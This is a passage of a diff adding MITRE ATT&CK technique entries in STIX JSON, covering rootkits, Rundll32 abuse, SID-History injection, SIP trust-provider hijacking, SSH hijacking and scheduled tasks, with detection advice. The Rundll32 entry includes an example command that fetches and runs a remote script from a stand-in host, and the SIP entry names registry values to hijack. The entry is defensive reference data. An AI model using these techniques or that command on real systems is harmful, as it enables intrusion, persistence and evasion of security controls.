"Administrator" + ], + "x_mitre_data_sources": [ + "Azure OS logs", + "AWS CloudTrail logs", + "Azure activity logs", + "Stackdriver logs", + "AWS OS logs" + ], + "name": "Revert Cloud Instance", + "description": "An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be easily facilitated using restoration from VM or data storage snapshots through the cloud management dashboard. Another variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the latter types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)", + "id": "attack-pattern--3b4121aa-fc8b-40c8-ac4f-afcb5838b72c", + "x_mitre_platforms": [ + "AWS", + "GCP", + "Azure" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Establish centralized logging of instance activity, which can be used to monitor and review system events even after reverting to a snapshot, rolling back changes, or changing persistence/type of storage. Monitor specifically for events related to snapshots and rollbacks and VM configuration changes, that are occurring outside of normal activity. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g. tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Netskope" + ], + "created": "2019-09-04T14:37:07.959Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1536", + "url": "https://attack.mitre.org/techniques/T1536" + }, + { + "description": "Hardiman, N.. (2012, March 20). Backing up and restoring snapshots on Amazon EC2 machines. Retrieved October 8, 2019.", + "source_name": "Tech Republic - Restore AWS Snapshots", + "url": "https://www.techrepublic.com/blog/the-enterprise-cloud/backing-up-and-restoring-snapshots-on-amazon-ec2-machines/" + }, + { + "description": "Google. (2019, October 7). Restoring and deleting persistent disk snapshots. Retrieved October 8, 2019.", + "source_name": "Google - Restore Cloud Snapshot", + "url": "https://cloud.google.com/compute/docs/disks/restore-and-delete-snapshots" + } + ], + "modified": "2019-10-22T19:35:54.112Z" + }, + { + "x_mitre_data_sources": [ + "BIOS", + "MBR", + "System calls" + ], + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM", + "root" + ], + "name": "Rootkit", + "description": "Rootkits are programs that hide the existence of malware by intercepting (i.e., [Hooking](https://attack.mitre.org/techniques/T1179)) and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a [Hypervisor](https://attack.mitre.org/techniques/T1062), Master Boot Record, or the [System Firmware](https://attack.mitre.org/techniques/T1019). (Citation: Wikipedia Rootkit)\n\nAdversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)", + "id": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR. (Citation: Wikipedia Rootkit)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-06-18T13:56:09.440Z", + "created": "2017-05-31T21:30:26.496Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "external_references": [ + { + "external_id": "T1014", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1014" + }, + { + "source_name": "capec", + "external_id": "CAPEC-552", + "url": "https://capec.mitre.org/data/definitions/552.html" + }, + { + "source_name": "Symantec Windows Rootkits", + "description": "Symantec. (n.d.). Windows Rootkit Overview. Retrieved December 21, 2017.", + "url": "https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf" + }, + { + "source_name": "Wikipedia Rootkit", + "description": "Wikipedia. (2016, June 1). Rootkit. Retrieved June 2, 2016.", + "url": "https://en.wikipedia.org/wiki/Rootkit" + }, + { + "description": "Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017.", + "source_name": "CrowdStrike Linux Rootkit", + "url": "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/" + }, + { + "source_name": "BlackHat Mac OSX Rootkit", + "description": "Pan, M., Tsai, S. (2014). You can\u2019t see me: A Mac OS X Rootkit uses the tricks you haven't known yet. Retrieved December 21, 2017.", + "url": "http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf" + } + ], + "x_mitre_defense_bypassed": [ + "File monitoring", + "Host intrusion prevention systems", + "Process whitelisting", + "Signature-based detection", + "System access controls", + "Whitelisting by file name or path", + "Anti-virus" + ] + }, + { + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters", + "Binary file metadata" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "Rundll32", + "description": "The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.\n\nRundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nRundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)", + "x_mitre_remote_support": false, + "id": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5", + "modified": "2019-06-24T19:18:55.792Z", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "type": "attack-pattern", + "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Ricardo Dias", + "Casey Smith" + ], + "created": "2017-05-31T21:31:06.045Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "external_references": [ + { + "external_id": "T1085", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1085" + }, + { + "description": "Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017.", + "source_name": "Trend Micro CPL", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf" + }, + { + "description": "B. Ancel. (2014, August 20). Poweliks \u2013 Command Line Confusion. Retrieved March 5, 2018.", + "source_name": "This is Security Command Line Confusion", + "url": "https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/" + } + ], + "x_mitre_defense_bypassed": [ + "Anti-virus", + "Application whitelisting", + "Digital Certificate Validation" + ] + }, + { + "x_mitre_permissions_required": [ + "User", + "Administrator", + "root", + "SYSTEM" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring" + ], + "name": "Runtime Data Manipulation", + "description": "Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making. \n\nAdversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1042) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", + "id": "attack-pattern--ca205a36-c1ad-488b-aa6c-ab34bdd3a36b", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_impact_type": [ + "Integrity" + ], + "type": "attack-pattern", + "x_mitre_detection": "Inspect important application binary file hashes, locations, and modifications for suspicious/unexpected values.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-09T16:09:22.173Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1494", + "url": "https://attack.mitre.org/techniques/T1494" + }, + { + "source_name": "FireEye APT38 Oct 2018", + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "url": "https://content.fireeye.com/apt/rpt-apt38" + }, + { + "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.", + "source_name": "DOJ Lazarus Sony 2018", + "url": "https://www.justice.gov/opa/press-release/file/1092091/download" + } + ], + "modified": "2019-07-18T17:56:46.016Z" + }, + { + "x_mitre_data_sources": [ + "API monitoring", + "Authentication logs", + "Windows event logs" + ], + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ], + "name": "SID-History Injection", + "description": "The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nAdversaries may use this mechanism for privilege escalation. With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [Windows Admin Shares](https://attack.mitre.org/techniques/T1077), or [Windows Remote Management](https://attack.mitre.org/techniques/T1028).", + "id": "attack-pattern--1df0326d-2fbc-4d08-a16b-48365f1e742d", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Examine data in user\u2019s SID-History attributes using the PowerShell Get-ADUser Cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015)\n\nMonitor Account Management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015) (Citation: Microsoft DsAddSidHistory)\n\nMonitor Windows API calls to the DsAddSidHistory function. (Citation: Microsoft DsAddSidHistory)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Vincent Le Toux", + "Alain Homewood, Insomnia Security" + ], + "created": "2018-01-16T16:13:52.465Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "external_references": [ + { + "external_id": "T1178", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1178" + }, + { + "source_name": "Microsoft SID", + "description": "Microsoft. (n.d.). Security Identifiers. Retrieved November 30, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx" + }, + { + "source_name": "Microsoft SID-History Attribute", + "description": "Microsoft. (n.d.). Active Directory Schema - SID-History attribute. Retrieved November 30, 2017.", + "url": "https://msdn.microsoft.com/library/ms679833.aspx" + }, + { + "source_name": "Microsoft Well Known SIDs Jun 2017", + "description": "Microsoft. (2017, June 23). Well-known security identifiers in Windows operating systems. Retrieved November 30, 2017.", + "url": "https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems" + }, + { + "source_name": "Microsoft Get-ADUser", + "description": "Microsoft. (n.d.). Active Directory Cmdlets - Get-ADUser. Retrieved November 30, 2017.", + "url": "https://technet.microsoft.com/library/ee617241.aspx" + }, + { + "source_name": "AdSecurity SID History Sept 2015", + "description": "Metcalf, S. (2015, September 19). Sneaky Active Directory Persistence #14: SID History. Retrieved November 30, 2017.", + "url": "https://adsecurity.org/?p=1772" + }, + { + "source_name": "Microsoft DsAddSidHistory", + "description": "Microsoft. (n.d.). Using DsAddSidHistory. Retrieved November 30, 2017.", + "url": "https://msdn.microsoft.com/library/ms677982.aspx" + } + ], + "modified": "2019-07-18T03:26:40.863Z" + }, + { + "x_mitre_data_sources": [ + "API monitoring", + "Application logs", + "DLL monitoring", + "Loaded DLLs", + "Process monitoring", + "Windows Registry", + "Windows event logs" + ], + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ], + "name": "SIP and Trust Provider Hijacking", + "description": "In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1116), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and whitelisting tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)\n\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID} that point to the dynamic link library (DLL) providing a SIP\u2019s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file\u2019s real signature, an adversary can apply an acceptable signature value all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID} that point to the DLL providing a SIP\u2019s CryptSIPDllVerifyIndirectData function, which validates a file\u2019s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\n* Modifying the DLL and Function Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID} that point to the DLL providing a trust provider\u2019s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP\u2019s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\n* **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).\n\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)", + "id": "attack-pattern--72b5ef57-325c-411b-93ca-a3ca6fa17e31", + "modified": "2019-07-18T03:42:38.763Z", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nEnable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nUtilize Sysmon detection rules and/or enable the Registry (Global Object Access Auditing) (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers: (Citation: Microsoft Audit Registry July 2012)\n\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\Providers\\Trust\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\Providers\\Trust\n\n**Note:** As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using [Regsvr32](https://attack.mitre.org/techniques/T1117). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nAnalyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure \u201cHide Microsoft Entries\u201d and \u201cHide Windows Entries\u201d are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Matt Graeber, @mattifestation, SpecterOps" + ], + "created": "2018-04-18T17:59:24.739Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "external_references": [ + { + "external_id": "T1198", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1198" + }, + { + "source_name": "Microsoft Authenticode", + "description": "Microsoft. (n.d.). Authenticode. Retrieved January 31, 2018.", + "url": "https://msdn.microsoft.com/library/ms537359.aspx" + }, + { + "source_name": "Microsoft WinVerifyTrust", + "description": "Microsoft. (n.d.). WinVerifyTrust function. Retrieved January 31, 2018.", + "url": "https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx" + }, + { + "source_name": "SpectorOps Subverting Trust Sept 2017", + "description": "Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.", + "url": "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf" + }, + { + "source_name": "EduardosBlog SIPs July 2008", + "description": "Navarro, E. (2008, July 11). SIP\u2019s (Subject Interface Package) and Authenticode. Retrieved January 31, 2018.", + "url": "https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/" + }, + { + "source_name": "Microsoft Catalog Files and Signatures April 2017", + "description": "Hudek, T. (2017, April 20). Catalog Files and Digital Signatures. Retrieved January 31, 2018.", + "url": "https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files" + }, + { + "source_name": "GitHub SIP POC Sept 2017", + "description": "Graeber, M. (2017, September 14). PoCSubjectInterfacePackage. Retrieved January 31, 2018.", + "url": "https://github.com/mattifestation/PoCSubjectInterfacePackage" + }, + { + "source_name": "Entrust Enable CAPI2 Aug 2017", + "description": "Entrust Datacard. (2017, August 16). How do I enable CAPI 2.0 logging in Windows Vista, Windows 7 and Windows 2008 Server?. Retrieved January 31, 2018.", + "url": "http://www.entrust.net/knowledge-base/technote.cfm?tn=8165" + }, + { + "source_name": "Microsoft Registry Auditing Aug 2016", + "description": "Microsoft. (2016, August 31). Registry (Global Object Access Auditing). Retrieved January 31, 2018.", + "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)" + }, + { + "source_name": "Microsoft Audit Registry July 2012", + "description": "Microsoft. (2012, July 2). Audit Registry. Retrieved January 31, 2018.", + "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)" + } + ], + "x_mitre_defense_bypassed": [ + "Application whitelisting", + "Autoruns Analysis", + "Digital Certificate Validation", + "Process whitelisting", + "User Mode Signature Validation" + ] + }, + { + "x_mitre_data_sources": [ + "Authentication logs" + ], + "x_mitre_permissions_required": [ + "User", + "root" + ], + "name": "SSH Hijacking", + "description": "Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.\n\nIn order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial. (Citation: Slideshare Abusing SSH) (Citation: SSHjack Blackhat) (Citation: Clockwork SSH Agent Hijacking) Compromising the SSH agent also provides access to intercept SSH credentials. (Citation: Welivesecurity Ebury SSH)\n\n[SSH Hijacking](https://attack.mitre.org/techniques/T1184) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it injects into an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).", + "id": "attack-pattern--c1b11bf7-c68e-4fbf-a95b-28efbe7953bb", + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_system_requirements": [ + "SSH service enabled, trust relationships configured, established connections" + ], + "type": "attack-pattern", + "x_mitre_detection": "Use of SSH may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. Also monitor user SSH-agent socket files being used by different users.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Anastasios Pingios" + ], + "created": "2018-01-16T16:13:52.465Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "external_references": [ + { + "external_id": "T1184", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1184" + }, + { + "source_name": "Slideshare Abusing SSH", + "description": "Duarte, H., Morrison, B. (2012). (Mis)trusting and (ab)using ssh. Retrieved January 8, 2018.", + "url": "https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219" + }, + { + "source_name": "SSHjack Blackhat", + "description": "Adam Boileau. (2005, August 5). Trust Transience: Post Intrusion SSH Hijacking. Retrieved December 19, 2017.", + "url": "https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf" + }, + { + "source_name": "Clockwork SSH Agent Hijacking", + "description": "Beuchler, B. (2012, September 28). SSH Agent Hijacking. Retrieved December 20, 2017.", + "url": "https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking" + }, + { + "source_name": "Welivesecurity Ebury SSH", + "description": "M.L\u00e9veill\u00e9, M. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved January 8, 2018.", + "url": "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/" + } + ], + "modified": "2019-07-18T17:51:25.900Z" + }, + { + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM", + "User" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters", + "Windows event logs" + ], + "name": "Scheduled Task", + "description": "Utilities such as [at](https://attack.mitre.org/software/S0110) and [schtasks](https://attack.mitre.org/software/S0111), along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on. Scheduling a task on a remote system typically required being a member of the Administrators group on the remote system. (Citation: TechNet Task Scheduler Security)\n\nAn adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence, to conduct remote Execution as part of Lateral Movement, to gain SYSTEM privileges, or to run a process under the context of a specified account.", + "x_mitre_remote_support": true, + "id": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "type": "attack-pattern", + "x_mitre_detection": "Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\System32\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nConfigure event logging for scheduled task creation and changes by enabling the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)\n\n* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\n* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated\n* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted\n* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\n* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\n* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns) Look for changes to tasks that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be taken to create tasks. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Prashant Verma, Paladion", + "Leo Loobeek, @leoloobeek", + "Travis Smith, Tripwire", + "Alain Homewood, Insomnia Security" + ], + "created": "2017-05-31T21:30:46.977Z", + "x_mitre_effective_permissions": [ + "SYSTEM", + "Administrator", + "User" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "external_references": [ + { + "external_id": "T1053", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1053" + }, + { + "source_name": "capec", + "external_id": "CAPEC-557", + "url": "https://capec.mitre.org/data/definitions/557.html" + }, + { + "source_name": "TechNet Task Scheduler Security", + "description": "Microsoft. (2005, January 21). Task Scheduler and security. Retrieved June 8, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc785125.aspx" + }, + { + "source_name": "Twitter Leoloobeek Scheduled Task", + "description": "Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017.", + "url": "https://twitter.com/leoloobeek/status/939248813465853953" + }, + { + "source_name": "TechNet Forum Scheduled Task Operational Setting", + "description": "Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017.", + "url": 